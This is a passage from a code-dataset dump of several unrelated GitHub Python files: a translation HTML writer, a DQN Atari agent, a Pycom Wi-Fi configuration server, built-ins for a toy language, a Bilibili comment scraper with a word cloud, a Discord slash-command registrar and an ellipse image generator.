1\n\t\t\treturn\n\n\t\t# Rest of this function handles normal lines\n\t\t# Display roma for JP\n\t\tif lang == \"JP\":\n\t\t\traw_line = \"
%s
\" % \\\n\t\t\t\t(self.__linenum, self.romanizeLine(line))\n\t\t\tsrc_lang = \"ja\"\n\t\t# Display raw for CN\n\t\telif lang == \"CN\":\n\t\t\traw_line = \"
%s
\" % \\\n\t\t\t\t(self.__linenum, line)\n\t\t\tsrc_lang = \"zh-CN\"\n\n\t\t# Double quotations in the google translate anchor mess up the link\n\t\tline_0 = line.replace(\"\\\"\", \"\\'\")\n\t\traw_html = \"%s\" % (src_lang, line_0, raw_line)\n\n\t\t# Preprocess line using dictionary entities\n\t\tfor entry in self.__dictionary:\n\t\t\tif entry in line:\n\t\t\t\tself.__log.write(\"\\n\\tDetected token %s in line. Replacing \\\n\t\t\t\t\twith %s\" % (entry, self.__dictionary[entry]))\n\n\t\t\t\tplaceholder = \"placeholder\\\n\t\t\t\t\t\" % self.__pId\n\t\t\t\tnew_entry = \"%s\\\n\t\t\t\t\t\" % (self.__pId, self.__dictionary[entry])\n\t\t\t\tline = line.replace(entry, \"%s%s\" % (new_entry, placeholder))\n\n\t\t\t\tself.__pId += 1\n\n\t\t# Integrate line into resource string\n\t\tif ltype == LType.PRE:\n\t\t\tmarker = PRE_MARKER\n\t\telif ltype == LType.REG or ltype == LType.TITLE:\n\t\t\tmarker = MAIN_MARKER\n\t\telif ltype == LType.POST:\n\t\t\tmarker = POST_MARKER\n\t\telse:\n\t\t\tprint(\"[Error] Unrecognized LType!\")\n\t\t\tsys.exit(1)\n\n\t\tdummy_html = self.generateDummy(lang) + marker\n\t\tline_html = \"
%s
%s\\n%s\" % \\\n\t\t\t(self.__linenum, line, raw_html, dummy_html)\n\t\tself.__resource = re.sub(marker, line_html, self.__resource)\n\t\tself.__linenum += 1\n\n\t#--------------------------------------------------------------------------\n\t# Accessor function\n\t#--------------------------------------------------------------------------\n\tdef getResourceString(self):\n\t\treturn self.__resource","repo_name":"tahmidk/Downtrans","sub_path":"src/htmlwriter.py","file_name":"htmlwriter.py","file_ext":"py","file_size_in_byte":10196,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"13648066230","text":"import random\nimport math\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch.nn as nn\nimport json\nimport os\n\nfrom agent_dir.agent import Agent\nfrom environment import Environment\n\nfrom collections import deque, namedtuple\n\nuse_cuda = torch.cuda.is_available()\n\n#DDQN\n#Dual-DQN\n#Prioritized reply\n#Multi-step (MC and TD)\n#Noisy Net\n#Distributional DQN\n\nclass DQN(nn.Module):\n '''\n This architecture is the one from OpenAI Baseline, with small modification.\n '''\n def __init__(self, channels, num_actions, duel_net=False):\n super(DQN, self).__init__()\n self.duel_net = duel_net\n self.conv1 = nn.Conv2d(channels, 32, kernel_size=8, stride=4)\n self.conv2 = nn.Conv2d(32, 64, kernel_size=4, stride=2)\n self.conv3 = nn.Conv2d(64, 64, kernel_size=3, stride=1)\n self.fc = nn.Linear(7*7*64, 512)\n self.head = nn.Linear(512, num_actions) \n self.relu = nn.ReLU()\n self.lrelu = nn.LeakyReLU(0.01)\n\n if self.duel_net:\n self.fc_value = nn.Linear(512, 1)\n self.fc_advantage = nn.Linear(512, num_actions)\n\n def forward(self, x):\n x = self.relu(self.conv1(x))\n x = self.relu(self.conv2(x))\n x = self.relu(self.conv3(x))\n x = self.lrelu(self.fc(x.view(x.size(0), -1)))\n if self.duel_net:\n value = self.fc_value(x)\n advantage = self.fc_advantage(x)\n q = value + advantage - advantage.mean()\n else:\n q = self.head(x)\n\n return q\n\nclass ReplayBuffer:\n \"\"\"Fixed-size buffer to store experience tuples.\"\"\"\n\n def __init__(self, buffer_size, batch_size):\n self.memory = deque(maxlen=buffer_size) \n self.batch_size = batch_size\n self.buffer_size = buffer_size\n self.position = 0\n self.experience = namedtuple(\"Experience\", field_names=[\"state\", \"action\", \"reward\", \"next_state\", \"done\"])\n def add(self, state, action, reward, next_state, done):\n e = self.experience(state, action, reward, next_state, done)\n if len(self.memory) < self.buffer_size:\n self.memory.append(None)\n self.memory[self.position] = e\n self.position = (self.position + 1) % self.buffer_size\n def sample(self):\n \"\"\"Randomly sample a batch of experiences from memory.\"\"\"\n experiences = random.sample(self.memory, k=self.batch_size)\n states = torch.cat([e.state for e in experiences if e is not None]).float().cuda()\n next_states = torch.cat([e.next_state for e in experiences if e is not None]).float().cuda()\n actions = torch.from_numpy(np.vstack([e.action for e in experiences if e is not None])).long().cuda()\n rewards = torch.from_numpy(np.vstack([e.reward for e in experiences if e is not None])).float().cuda()\n dones = torch.from_numpy(np.vstack([e.done for e in experiences if e is not None]).astype(np.uint8)).float().cuda()\n return (states, actions, rewards, next_states, dones)\n def __len__(self):\n return len(self.memory)\n\n\nclass AgentDQN(Agent):\n def __init__(self, env, args):\n self.env = env\n self.input_channels = 4\n self.num_actions = self.env.action_space.n\n\n if args.test_dqn:\n if args.model_path == None:\n raise Exception('give --model_path')\n else:\n if args.folder_name == None:\n raise Exception('give --folder_name')\n self.model_dir = os.path.join('./model',args.folder_name)\n if not os.path.exists(self.model_dir):\n os.mkdir(self.model_dir)\n\n # build target, online network\n self.dqn_type = args.dqn_type\n print('Using {} Network'.format(args.dqn_type))\n if args.dqn_type == None:\n raise Exception('give --dqn_type')\n elif args.dqn_type == 'DQN' or args.dqn_type == 'DoubleDQN':\n self.online_net = DQN(self.input_channels, self.num_actions)\n self.online_net = self.online_net.cuda() if use_cuda else self.online_net\n self.target_net = DQN(self.input_channels, self.num_actions)\n self.target_net = self.target_net.cuda() if use_cuda else self.target_net\n self.target_net.load_state_dict(self.online_net.state_dict())\n elif args.dqn_type == 'DuelDQN' or args.dqn_type == 'DDDQN':\n self.online_net = DQN(self.input_channels, self.num_actions,duel_net=True)\n self.online_net = self.online_net.cuda() if use_cuda else self.online_net\n self.target_net = DQN(self.input_channels, self.num_actions,duel_net=True)\n self.target_net = self.target_net.cuda() if use_cuda else self.target_net\n self.target_net.load_state_dict(self.online_net.state_dict())\n else:\n raise Exception('--dqn_type must in [DQN, DoubleDQN, DuelDQN, DDDQN]')\n\n if args.test_dqn:\n self.load(args.model_path)\n \n # discounted reward\n self.GAMMA = 0.99\n \n # training hyperparameters\n self.train_freq = 4 # frequency to train the online network\n self.num_timesteps = 3000000 # total training steps\n self.learning_start = 10000 # before we start to update our network, we wait a few steps first to fill the replay.\n self.batch_size = 32\n self.display_freq = 100 # frequency to display training progress\n self.target_update_freq = 1000 # frequency to update target network\n\n # optimizer\n self.optimizer = optim.RMSprop(self.online_net.parameters(), lr=1e-4)\n self.steps = 0 # num. of passed steps. this may be useful in controlling exploration\n self.eps_min = 0.025\n self.eps_max = 1.0\n self.eps_step = 200000\n self.plot = {'steps':[], 'reward':[]}\n\n # TODO:\n # Initialize your replay buffer\n self.memory = ReplayBuffer(10000, self.batch_size)\n\n def save(self, save_path):\n print('save model to', save_path)\n model = {'online': self.online_net.state_dict(), 'target': self.self.target_net.state_dict()}\n torch.save(model, save_path)\n\n def load(self, load_path):\n print('Load model from', load_path)\n if use_cuda:\n self.online_net.load_state_dict(torch.load(load_path)['online'])\n else:\n self.online_net.load_state_dict(torch.load(load_path, map_location=lambda storage, loc: storage)['online'])\n\n def init_game_setting(self):\n # we don't need init_game_setting in DQN\n pass\n \n def epsilon(self, step):\n if step > self.eps_step:\n return 0\n else:\n return self.eps_min + (self.eps_max - self.eps_min) * ((self.eps_step - step) / self.eps_step)\n\n def make_action(self, state, test=False):\n if test:\n state = torch.from_numpy(state).permute(2,0,1).unsqueeze(0)\n state = state.cuda() if use_cuda else state\n with torch.no_grad():\n action = self.online_net(state).max(1)[1].item()\n else: \n if random.random() > self.epsilon(self.steps): \n with torch.no_grad():\n action = self.online_net(state).max(1)[1].item()\n else:\n action = random.randrange(self.num_actions)\n\n return action\n\n def update(self):\n if len(self.memory) < self.batch_size:\n return\n\n experiences = self.memory.sample()\n batch_state, batch_action, batch_reward, batch_next, batch_done, = experiences\n\n if self.dqn_type=='DoubleDQN' or self.dqn_type == 'DDDQN':\n next_q_actions = self.online_net(batch_next).detach().max(1)[1].unsqueeze(1)\n next_q_values = self.target_net(batch_next).gather(1,next_q_actions)\n else:\n next_q_values = self.target_net(batch_next).detach()\n next_q_values = next_q_values.max(1)[0].unsqueeze(1)\n \n batch_reward = batch_reward.clamp(-1.1)\n current_q = self.online_net(batch_state).gather(1, batch_action) \n next_q = batch_reward + (1 - batch_done) * self.GAMMA * next_q_values\n loss = F.mse_loss(current_q, next_q)\n self.optimizer.zero_grad()\n loss.backward()\n\n self.optimizer.step()\n return loss.item()\n\n def train(self):\n best_reward = 0\n episodes_done_num = 1 # passed episodes\n total_reward = [] # compute average reward\n total_loss = []\n while(True):\n state = self.env.reset()\n # State: (80,80,4) --> (1,4,80,80)\n state = torch.from_numpy(state).permute(2,0,1).unsqueeze(0)\n state = state.cuda() if use_cuda else state\n done = False\n episodes_reward = []\n episodes_loss = []\n while(not done):\n # select and perform action\n action = self.make_action(state)\n next_state, reward, done, _ = self.env.step(action)\n episodes_reward.append(reward)\n total_reward.append(reward)\n # process new state\n next_state = torch.from_numpy(next_state).permute(2,0,1).unsqueeze(0)\n next_state = next_state.cuda() if use_cuda else next_state\n # TODO:\n # store the transition in memory\n self.memory.add(state, action, reward, next_state, done)\n # move to the next state\n state = next_state\n # Perform one step of the optimization\n if self.steps > self.learning_start and self.steps % self.train_freq == 0:\n loss = self.update()\n episodes_loss.append(loss)\n total_loss.append(loss)\n # update target network\n if self.steps > self.learning_start and self.steps % self.target_update_freq == 0:\n self.target_net.load_state_dict(self.online_net.state_dict())\n # save the model\n self.steps += 1\n \n avg_ep_loss = sum(episodes_loss)/len(episodes_loss) if len(episodes_loss) > 0 else 0\n\n print('Episode: %d | Steps: %d/%d | Avg reward: %f | Loss: %f'% \n (episodes_done_num, self.steps, self.num_timesteps, \n sum(episodes_reward), avg_ep_loss),end='\\r')\n\n self.plot['steps'].append(episodes_done_num)\n self.plot['reward'].append(sum(episodes_reward))\n\n if episodes_done_num % self.display_freq == 0:\n\n avg_reward = sum(total_reward) / self.display_freq\n avg_loss = sum(total_loss) / len(total_loss) if len(total_loss) > 0 else 0\n\n if self.steps < self.eps_step:\n phase = \"Exploring phase\"\n else:\n phase = \"Learning phase\"\n\n print('%s | Episode: %d | Steps: %d/%d | epsilon: %f | Avg reward: %f | Loss: %f'% \n (phase, episodes_done_num, self.steps, self.num_timesteps,\n self.epsilon(self.steps), avg_reward, avg_loss))\n\n if avg_reward > best_reward and self.steps > self.eps_step:\n best_reward = avg_reward\n self.save(os.path.join(self.model_dir, 'e{}_r{:.2f}_model.cpt'.format(episodes_done_num, avg_reward)))\n with open(os.path.join(self.model_dir, 'plot.json'), 'w') as f:\n json.dump(self.plot,f)\n\n total_reward = []\n total_loss = []\n\n episodes_done_num += 1\n\n if self.steps > self.num_timesteps:\n break\n\n self.save(os.path.join(self.model_dir,'e{}_model.cpt'.format(episodes_done_num)))\n with open(os.path.join(self.model_dir, 'plot.json'), 'w') as f:\n json.dump(self.plot,f)\n","repo_name":"hsiehjackson/Deep-Reinforcement-Learning-on-Atari-Games","sub_path":"agent_dir/agent_dqn.py","file_name":"agent_dqn.py","file_ext":"py","file_size_in_byte":11933,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"}
+{"seq_id":"32997664005","text":"import network\nfrom network import WLAN\nimport usocket as socket\nfrom config_page import get_html_form\nimport machine\nimport pycom\nimport gc\nimport Configuration\nfrom helper import wifi_lock, led_lock, blink_led\nfrom RtcDS1307 import clock\nimport ujson\nimport ubinascii\nimport machine\n\ndef new_config(logger, arg):\n \"\"\"\n Method that turns the pycom to an access point for the user to connect and update the configurations.\n The device automatically reboots and applies modifications upon successful configuration.\n Takes an extra dummy argument required by the threading library.\n :param logger: status logger\n :type logger: LoggerFactory\n \"\"\"\n config = Configuration.Configuration(logger) #TODO: fix\n # Only one of this thread is allowed to run at a time\n if not wifi_lock.locked():\n with wifi_lock:\n\n logger.info(\"New configuration setup started\")\n\n # Config uses LED colours to indicate the state of the connection - lock is necessary to disable error pings\n led_lock.acquire(1)\n unique_id = ubinascii.hexlify(machine.unique_id()).decode()\n # set pycom up as access point\n wlan = network.WLAN(mode=WLAN.AP, ssid=config.get_config(\"device_name\")+ unique_id)\n # Connect to PmSensor using password set by the user\n wlan.init(mode=WLAN.AP, ssid=config.get_config(\"device_name\")+ unique_id, auth=(WLAN.WPA2, config.get_config(\"password\")), channel=1,\n antenna=WLAN.INT_ANT)\n # Load HTML via entering 192,168.4.10 to browser\n wlan.ifconfig(id=1, config=('192.168.4.10', '255.255.255.0', '192.168.4.1', '192.168.4.1'))\n\n logger.info('Access point turned on as {}'.format(config.get_config(\"device_name\") + unique_id))\n logger.info('Configuration website can be accessed at 192.168.4.10')\n\n address = socket.getaddrinfo('0.0.0.0', 80)[0][-1] # Accept stations from all addresses\n sct = socket.socket() # Create socket for communication\n sct.settimeout(int(float(config.get_config(\"config_timeout\")) * 60)) # session times out after x seconds\n gc.collect() # frees up unused memory if there was a previous connection\n sct.bind(address) # Bind address to socket\n sct.listen(1) # Allow one station to connect to socket\n\n pycom.rgbled(0x000055) # Blue LED - waiting for connection\n\n get_new_config(sct, logger)\n\n wlan.deinit() # turn off wifi\n gc.collect()\n\n logger.info('rebooting...')\n machine.reset()\n\n\n# Sends html form over wifi and receives data from the user\ndef get_new_config(sct, logger):\n \"\"\"\n Sends an html form to a web socket, and waits for the user to connect\n :param sct: web socket\n :type sct: socket object\n :param logger: status logger\n :type logger: LoggerFactory object\n \"\"\"\n try:\n while True:\n try:\n client, address = sct.accept() # wait for new connection\n except Exception as e:\n raise Exception(\"Configuration timeout\")\n client.send(get_html_form()) # send html page with form to submit by the user\n pycom.rgbled(0x005500) # Green LED - Connection successful\n received_data = str(client.recv(3000)) # wait for client response\n # logger.debug(received_data)\n client.close() # socket has to be closed because of the loop\n if process_data(received_data, logger):\n return\n except Exception as e:\n logger.exception(\"Failed to configure the device\")\n led_lock.release()\n blink_led((0x550000, 3, True)) # Red LED - Error\n return\n\n\ndef process_data(received_data, logger):\n \"\"\"\n Processes form sent by the user as a json string and saves new configurations. Also updates time on the RTC module.\n :param received_data: json string received from the web socket\n :type received_data: str\n :param logger: status logger\n :type logger: LoggerFactory\n :return: True or False\n :rtype: bool\n \"\"\"\n # find json string in received message\n first_index = received_data.rfind('time_begin')\n last_index = received_data.rfind('time_end')\n\n if first_index != -1 and last_index != -1:\n config_time_str = received_data[(first_index + len('time_begin')):last_index]\n config_time_lst = config_time_str.split(':')\n config_time_lst[0] = config_time_lst[0][2:]\n h_yr, h_mnth, h_day, h_hr, h_min, h_sec = int(config_time_lst[0], 16), int(config_time_lst[1], 16), \\\n int(config_time_lst[2], 16), int(config_time_lst[3], 16), \\\n int(config_time_lst[4], 16), int(config_time_lst[5], 16)\n try:\n clock.set_time(h_yr, h_mnth, h_day, h_hr, h_min, h_sec)\n logger.info('RTC module calibrated via WiFi')\n except Exception:\n logger.warning('RTC module is not available for calibration via WiFi')\n\n # find json string in received message\n first_index = received_data.rfind('json_str_begin')\n last_index = received_data.rfind('json_str_end')\n\n if first_index != -1 and last_index != -1:\n config_json_str = received_data[(first_index + len('json_str_begin')):last_index]\n new_config_dict = {\"LORA\": \"OFF\"} # checkbox default value is false - gets overwritten if its true\n new_config_dict.update(ujson.loads(config_json_str))\n\n if len(config_json_str) >= 1000:\n logger.error('Received configurations are too long')\n logger.info('Enter configurations with valid length')\n return False # keep looping - wait for new message from client\n\n logger.info('Configuration data received from user')\n config.save_config(new_config_dict)\n return True\n\n return False # keep looping - wait for new message from client\n","repo_name":"pyonair/PyonAir-pycom","sub_path":"code/lib/new_config.py","file_name":"new_config.py","file_ext":"py","file_size_in_byte":6020,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"}
+{"seq_id":"40924660974","text":"'''\n======================================================================================\n--------------------------------------------------------------------------------------\n\nThis file contains the hash table of variables and function names and values\n\n--------------------------------------------------------------------------------------\n======================================================================================\n'''\nimport math\nfrom asinerrs import *\nfrom asinhelper import *\n\nclass HashTable:\n '''\n Represents a pseudo-hash table as a list of two dictionaries\n '''\n def __init__(self):\n '''\n SYMBOLS and FUNCTIONS pertain to the indices of the table, and is for our convenience only.\n\n TABLE is a list of two dictionaries; the first stores variable identifiers as keys pointing\n to their respective values, the second stores Asin's built-in functions.\n '''\n self.SYMBOLS = 0\n self.FUNCTIONS = 1\n\n self.TABLE = [{},{}]\n\n def setVar(self, varName, value):\n '''\n Assigns a value to an identifier. The value will become accessible\n through the key, varName.\n '''\n self.TABLE[self.SYMBOLS][varName] = value\n\n def getVar(self, varName):\n '''\n Returns the value accessible through the key, varName.\n If not found, raise an error akin to Python's NameError.\n '''\n if varName in self.TABLE[self.SYMBOLS]:\n return self.TABLE[self.SYMBOLS][varName]\n raise MaalatNaSimbolo(varName)\n\n def delVar(self, varName):\n '''\n Removes an identifier, and consequently the value bound to it,\n from the first dictionary\n '''\n del self.TABLE[self.SYMBOLS][varName]\n\n def setFunc(self, funcName, func):\n '''\n Assigns a function to a name. The function (func) becomes accessible\n through the key, funcName.\n\n NOTE: This function is only used for loading Asin's built-in functions;\n the language lacks support for user-defined functions.\n '''\n self.TABLE[self.FUNCTIONS][funcName] = func\n\n def getFunc(self, funcName):\n '''\n Returns the function specified by the key, funcName. If not\n found, raise an error akin to Python's NameError\n '''\n if funcName in self.TABLE[self.FUNCTIONS]:\\\n return self.TABLE[self.FUNCTIONS][funcName]\n raise MaalatNaSimbolo(funcName)\n\n\n# ====================================================================================\n# ~: Asin's Functions (and loader) :~\n# ====================================================================================\n\ndef palitan(array: list, index, value):\n '''\n Asin function for replacing a value in a list\n '''\n try:\n array[index] = value\n except TypeError:\n raise MaalatNaIndeks(index.__class__.__name__, index)\n except IndexError:\n raise MaalatNaIndeks(index, array, 0, len(array) - 1)\n\ndef idagdag(array: list, value):\n '''\n Asin function for appending values to an array\n '''\n array.append(value)\n\ndef tanggalan(array: list):\n '''\n Asin function for popping values from an array\n '''\n return array.pop()\n\ndef silipin(array: list):\n '''\n Asin function for getting the rightmost element of an array\n '''\n return array[-1]\n\ndef isaayos(array: list, descending: bool=False):\n '''\n Asin function for sorting an array using Python's native sort() function\n '''\n if descending:\n array.sort(reverse=True)\n else:\n array.sort()\n\ndef baligtarin(array: list):\n '''\n Asin function for reversing an array using Python's native reverse() function\n '''\n array.reverse()\n\ndef baligtad(array: list):\n '''\n Asin function for returning a reversed version of the list argument\n '''\n return list(reversed(array))\n\ndef buksan(file, access):\n '''\n Asin function for opening a file\n '''\n try:\n return open(file, access)\n except FileNotFoundError:\n raise MaalatAtNawawalangFile(file)\n\ndef basahin(file):\n '''\n Asin function for entirely reading a file\n '''\n return file.read()\n\ndef linya(file):\n '''\n Asin function for getting a line from a file at the cursor's current position\n '''\n return file.readline()\n\ndef isulat(file, toWrite):\n '''\n Asin function for writing something into a file\n '''\n file.write(toWrite)\n\ndef isara(file):\n '''\n Asin function for closing a file\n '''\n\ndef asin():\n '''\n This is a superficial function that prints \"Asin\" in Old English,\n a pile of salt made out of ASCII characters and the language's\n author's names\n '''\n image = \"\"\" \n .+ydNMMMNdy+. :oo` .` \n -dMNhso++oydMMMmmy od. \n +My- ./oso:o:/NMM: .y+ o` \n .M: ohoshMs` hMM/ ::` sh `/` :. -- \n :d . `o: hMM+ `-odMMMNdhds` `yNMNy` `+mMMy `/dMMy/+` \n d` :o` hMM+ mMM+./+osd- :MMM: ` +MMM/:dmmMMh \n `s: `s:```````hMMo mMM+ +h` .MMM. :MMM hMMs \n -+oNMMMMMMMMMMMMs mMMms/dMMMdo .MMM. :MMM hMMs \n `o:..........dMMy .+hNN+ -yMMM .MMM. :MMM hMMs \n /Nds/. -mMMh :s. :MMM .MMM. :MMM hMMs \n syhmMMMNho:.++-yMMM/+: `yNhddyooMMM `MMM/-` oMMM: yMMd.- \n -N. `:smMMh/ .mMNs. :NdssymMMh+-` sMMy- .sNMm+ -mMd+` \n\n ( S A L T )\n\n `:` \n `-mNms:` \n .+hhNNNNNNh- \n -sdddNNNNNNNNNo` \n :hdmhmNNNNNNNNNNNo \n :dmmNddNNNNNNNNNNNNs` \n :yNmmmmhNNNNNNNNNNNNNd/` \n .+hmmmmmmmyNNNNNNNNNNNNNNNmy. \n :yddmdmmmNmmhNNNNNNNNNNNNNNNNNmo-` \n `:smmNmmNmmmmdhNNNNNNNNNNNNNNNNNNNNNdo. \n :dmNdmNmmmmmmhdNNNNNNNNNNNNNNNNNNNNNNNNd- \n :dmdNmmmmdmmmhNNNNNNNNNNNNNNNNNNNNNNNNNNNm+` \n `:smNNmmmNmmNmmhNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNh` \n /dmdNmmmmmNddddmNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN+ \n ````..:ommmmmmmmmmmmydNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNmo.` \n ```..-yhydmdmmmmmNmdmmmmhNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNdo-:-``` \n ` ``.--`.:::/ohdddmmmNmmmdddmNNNNNNmNNNNNNNNNNNNNNNNNNNNNdsyhdddmdh+--..` \n `` ` .::--`.--.-.::/:odmmmNNNNNNmdhddh+ooso::/::/+/:-`-` `.-.`.-`` ` \n `` `.-...-://osoo-::--.`` ` \n \n Proyekto sa CS 150: Programming Languages, nina\n Don Rodolfo Abril y Padilla at Jerico Silapan y Lim\"\"\"\n print(image)\n\ndef kargahan(hashtable: HashTable):\n '''\n Loader function to add all built-in variables and\n functions to the hash table for use in Asin programs\n '''\n\n # SYMBOLS\n\n # mathematical constants\n hashtable.setVar('asin_pi', math.pi)\n hashtable.setVar('asin_e', math.e)\n\n # FUNCTIONS\n\n # typecasting functions\n hashtable.setFunc('bilang', AsinFunction(int)) # typecast to int\n hashtable.setFunc('lutang', AsinFunction(float)) # typecast to flaot\n hashtable.setFunc('titik', AsinFunction(str)) #typecast to string\n\n # math functions\n hashtable.setFunc('halaga', AsinFunction(abs)) # absolute value\n hashtable.setFunc('ibilog', AsinFunction(round)) # rounding off\n hashtable.setFunc('putulin', AsinFunction(math.trunc)) # truncation of fractional values (float -> integer)\n hashtable.setFunc('kisame', AsinFunction(math.ceil)) # ceiling function\n hashtable.setFunc('sahig', AsinFunction(math.floor)) # floor function\n hashtable.setFunc('iangat', AsinFunction(math.pow)) # exponentiation\n hashtable.setFunc('ibaba', AsinFunction(math.log)) # logarithmic function\n hashtable.setFunc('parisugat', AsinFunction(math.sqrt)) # square root\n\n hashtable.setFunc('maximo', AsinFunction(max)) # returns maximum value in list\n hashtable.setFunc('minimo', AsinFunction(min)) # returns minimum value in list\n\n hashtable.setFunc('haba', AsinFunction(len)) # returns the length of an iterable\n\n # list functions\n hashtable.setFunc('palitan', AsinFunction(palitan)) # replaces a value in a list at a certain index\n hashtable.setFunc('idagdag', AsinFunction(idagdag)) # appends a value to a list\n hashtable.setFunc('tanggalan', AsinFunction(tanggalan)) # pops a value from the list\n hashtable.setFunc('silipin', AsinFunction(silipin)) # returns the value of the last element of the list\n hashtable.setFunc('baligtarin', AsinFunction(baligtarin)) # reverses a list in-place\n hashtable.setFunc('baligtad', AsinFunction(baligtad)) # return a reversed version of the list argument\n\n # list functions (sorting)\n hashtable.setFunc('isaayos', AsinFunction(isaayos)) # sort a list in-place\n hashtable.setFunc('nakaayos', AsinFunction(sorted)) # return a sorted version of the list argument\n\n # file I/O\n hashtable.setFunc('pahingi', AsinFunction(input)) # prompts for user input through CLI\n hashtable.setFunc('buksan', AsinFunction(buksan)) # creates a file object\n hashtable.setFunc('basahin', AsinFunction(basahin)) # gets all the contents of a file\n hashtable.setFunc('linya', AsinFunction(linya)) # gets a line from the file at the cursor\n hashtable.setFunc('isulat', AsinFunction(isulat)) # writes contents to a file\n hashtable.setFunc('isara', AsinFunction(isara)) # closes a file\n\n # prints \"Asin\" and a salt pile in ASCII characters\n hashtable.setFunc('asin', AsinFunction(asin))","repo_name":"dpabril/Asin","sub_path":"asintable.py","file_name":"asintable.py","file_ext":"py","file_size_in_byte":10525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23953407804","text":"import jieba\nimport requests\nimport json\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nfrom wordcloud import WordCloud\nimport numpy as np\n\ndef pl():\n res=requests.get(url).json()\n print(type(res))\n res=res['data']\n next=res.get('next')\n print(next)\n res=res['list']\n for i in range(20):\n comment=res[i].get('content')\n f = open('Bcomment.txt', 'a+', encoding='utf-8')\n print(comment)\n f.writelines(comment)\n f.close()\n return next\nd=0\nwhile d<15:\n if d==0:\n url=\"https://api.bilibili.com/pgc/review/short/list?media_id=8892&ps=20&sort=0\"\n pl()\n d+=1\n else:\n cursor=pl()\n url=\"https://api.bilibili.com/pgc/review/short/list?media_id=8892&ps=20&sort=0&cursor=\"+str(cursor)\n d+=1\ntxt=open('Bcomment.txt','r',encoding='utf-8').read()\nwords=jieba.lcut(txt)\ncounts={}\nfor word in words:\n if len(word) == 1:\n continue\n else:\n counts[word]=counts.get(word,0)+1\nitems=list(counts.items())\n\nitems.sort(key=lambda x:x[1],reverse=True)\nfor e in range(50):\n word,count=items[e]\n print(\"{0:<15}{1:>5}\".format(word,count))\nwc = WordCloud(background_color=\"white\", max_words=50)\n# generate word cloud\nwc.generate_from_frequencies(counts)\n\n # show\nmask = np.array(Image.open(\"d2.jpg\"))\nwc = WordCloud(mask=mask,mode='RGBA', background_color=None,max_words=500).generate_from_frequencies(counts)\n\n# 显示词云\nplt.imshow(wc, interpolation='bilinear')\nplt.axis(\"off\")\nplt.show()\n\n# 保存到文件\n\n'''\nwc.to_file(path.join(d, \"alice.png\"))\n\n# show\nplt.imshow(wc, interpolation='bilinear')\nplt.axis(\"off\")\nplt.figure()\nplt.imshow(alice_mask, cmap=plt.cm.gray, interpolation='bilinear')\nplt.axis(\"off\")\nplt.show()\n'''","repo_name":"starlcslord/exercise","sub_path":"python exercise/B站番剧评论爬取.py","file_name":"B站番剧评论爬取.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"11029036498","text":"'''\ncommands.py\n\nThis script will take the 'commands' from schema.py and update the hardcoded guild\nwith a set of slash commands to match\n'''\nimport os\n\nimport discord\nimport schema\n\nBOT_TOKEN = os.getenv('BOT_TOKEN')\n\n#guild_id = \"844763297122091029\" # Testing\nguild_id = \"689178570970628148\" # The Basement\n\n# Authorization using bot token\nheaders = {\n 'Authorization': f'Bot {BOT_TOKEN}'\n}\n\ndef make_command(skill, cmd):\n command = {\n 'name': cmd,\n 'description': f'Make a roll against your {skill} skill',\n 'options': [\n {\n 'name': 'bonus',\n 'description': 'Whether to apply a bonus die',\n 'type': 5,\n 'required': False\n },\n {\n 'name': 'penalty',\n 'description': 'Whether to apply a penalty die',\n 'type': 5,\n 'required': False\n },\n {\n 'name': 'advancement',\n 'description': 'Make an advancement-type roll',\n 'type': 5,\n 'required': False\n }\n ]\n }\n code = discord.create_guild_command(guild_id, command, headers)\n print(f'Made {cmd} - {code}')\n\ndef main():\n for skill in schema.mapping:\n make_command(skill, schema.mapping[skill])\n\nif __name__ == '__main__':\n main()","repo_name":"krmoule/dice-roller-2021","sub_path":"commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"21390787439","text":"# pythonfile for generating trainingimages and the associated testdata\n#%%\n#!/usr/bin/env python\n\nimport random\nfrom PIL import Image\nfrom PIL import ImageDraw\nimport csv\n\npicturecount = 0\n\ndef draw () :\n \n # draw a 64x64 canvas\n canvas_width = 64\n canvas_height = 64\n\n # colour all pixles white\n white = (255, 255, 255)\n \n # used to generate a random number which will then be used to draw an eclipse\n # the more the ellipse equals a circle the higher is the worth\n diff = random.randrange(0, 30, 3)\n y1 = 16 + diff / 2\n y2 = 48 - diff / 2\n\n image1 = Image.new(\"RGB\", (canvas_width, canvas_height), white)\n draw = ImageDraw.Draw(image1)\n draw.ellipse([16,y1,48,y2], fill=\"white\", outline = \"black\")\n\n # save the generated image\n filename = \"circle\"+str(picturecount)+\".jpg\"\n image1.save(filename)\n return diff\n\n# open or create a picture.csv. The picture.csv will contain the worth of each picture in same order\nwith open('pictures.csv', 'w', newline = '') as csvfile:\n filewriter = csv.writer(csvfile, delimiter=';', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n while picturecount < 200:\n diff = draw()\n filewriter.writerow([ str( 10 - (diff / 3)) ])\n picturecount += 1","repo_name":"Alex88xl/CrocKI","sub_path":"Kreise/pgenerator.py","file_name":"pgenerator.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
